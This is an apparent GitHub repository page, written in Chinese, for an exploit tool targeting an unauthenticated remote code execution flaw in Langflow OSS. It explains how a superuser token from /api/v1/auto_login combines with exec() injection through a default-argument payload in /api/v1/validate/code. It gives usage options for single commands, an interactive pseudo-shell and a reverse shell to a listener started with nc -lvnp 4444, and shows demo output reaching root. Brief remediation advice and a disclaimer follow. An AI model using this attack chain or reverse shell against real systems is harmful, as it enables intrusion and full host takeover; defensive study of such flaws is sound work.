0xdak/CVE-2026-9198_exploit

GitHub: 0xdak/CVE-2026-9198_exploit

针对 IBM Langflow OSS 未授权远程代码执行漏洞(CVE-2026-9198)的利用工具,通过组合 auto_login 超级用户令牌颁发与 validate/code 端点的 exec 注入实现无需认证的任意命令执行。

Stars: 0 | Forks: 0

# CVE-2026-9198 — Langflow OSS 未授权 RCE 在默认部署的 **IBM Langflow OSS** (1.0.0 – 1.10.0) 中存在的未授权远程代码执行漏洞。 结合了两个缺陷: - **CVE-2026-9103** — 只要启用了 `AUTO_LOGIN`(在 Langflow `< 1.5` 中为默认设置),`GET /api/v1/auto_login` 就会向任何无需凭证的调用者颁发 **SUPERUSER** JWT。 - **CVE-2026-8481** — `POST /api/v1/validate/code` 将用户提供的 Python 代码直接传递给 `exec()` 执行,且没有任何沙箱。 两者结合(**CVE-2026-9198**)使得未授权攻击者能够以 Langflow 服务用户的身份执行代码——该用户通常为 `root`。 ## 漏洞原理 1. 请求 `/api/v1/auto_login` 获取超级用户 bearer token(无需身份验证)。 2. 向 `/api/v1/validate/code` 提交 payload。该 endpoint 会 `exec()` 这段代码以对其进行“验证”;由于 Python 会在**定义时评估默认参数值**,因此 payload 被包装在函数的默认参数中: def _v(a=exec('')): pass 为了实现命令执行,payload 会抛出一个异常,其错误信息即为命令的输出结果,而 endpoint 会将该结果在响应中返回(`function.errors[]`)。 ## 用法 ``` ./exploit.py -t [options] -t, --target target host/IP (or full URL) (required) -p, --port Langflow port (default 7860) -c, --cmd run a single shell command, print output --shell interactive pseudo-shell (each line runs via the RCE) --lhost reverse-shell listener IP --lport reverse-shell listener port (default 4444) -k, --token use this bearer token (skip auto_login) --timeout HTTP timeout in seconds (default 20) --no-banner suppress the banner -h, --help show help ``` ## 演示 ``` $ ./exploit.py -t 192.168.30.128 CVE-2026-9198 — Langflow unauthenticated RCE auto_login (superuser token) -> validate/code (exec) [*] requesting superuser token via /api/v1/auto_login ... [+] token: eyJhbGciOiJIUzI1NiIsInR... uid=0(root) gid=0(root) groups=0(root) $ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt' ... d4b81f6a3c9e07254f6a3c9e07254d4b $ ./exploit.py -t 192.168.30.128 --shell [+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root) [*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit. langflow$ hostname flow langflow$ whoami root # reverse shell (先启动 `nc -lvnp 4444`) $ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444 [*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ... [+] payload sent. Check your listener. ``` ## 环境要求 - Python 3.6+(仅使用标准库 — 无需 `pip install`) ## 注意事项 - 仅在启用 `AUTO_LOGIN` 时有效(这是 Langflow `< 1.5` 的默认设置;在 `>= 1.5` 版本中必须显式设置 `LANGFLOW_AUTO_LOGIN=true`)。如果 `auto_login` 未返回 token,则说明目标无法通过此路径进行利用——如果您拥有有效 token,请使用 `-k` 提供。 - 命令输出将在响应的 `function.errors[]` 中返回;`stderr` 会合并到 `stdout` 中,因此即使是失败的命令也会显示其错误信息。 - 代码以 Langflow **服务用户**的身份运行。如果该用户是 `root`(在 systemd/Docker-as-root 下直接运行 `langflow run` 时很常见),这将直接获得主机 root 权限。 ## 修复建议 - 将 Langflow 升级到受影响范围之外的版本;`validate/code` 不得对不受信任的输入执行 `exec()`,且 `auto_login` 不得颁发超级用户 token。 - 设置 `LANGFLOW_AUTO_LOGIN=false` 并配置真实的超级用户凭证。 - 切勿以 `root` 用户身份运行 Langflow 服务。 ## 免责声明 本项目仅供授权的安全测试和教育目的发布。请勿对您不拥有或未获得明确授权的系统使用本工具。作者对任何滥用行为不承担任何责任。
标签:CISA项目, Python, RCE利用, 威胁模拟, 安全漏洞, 无后门, 逆向工具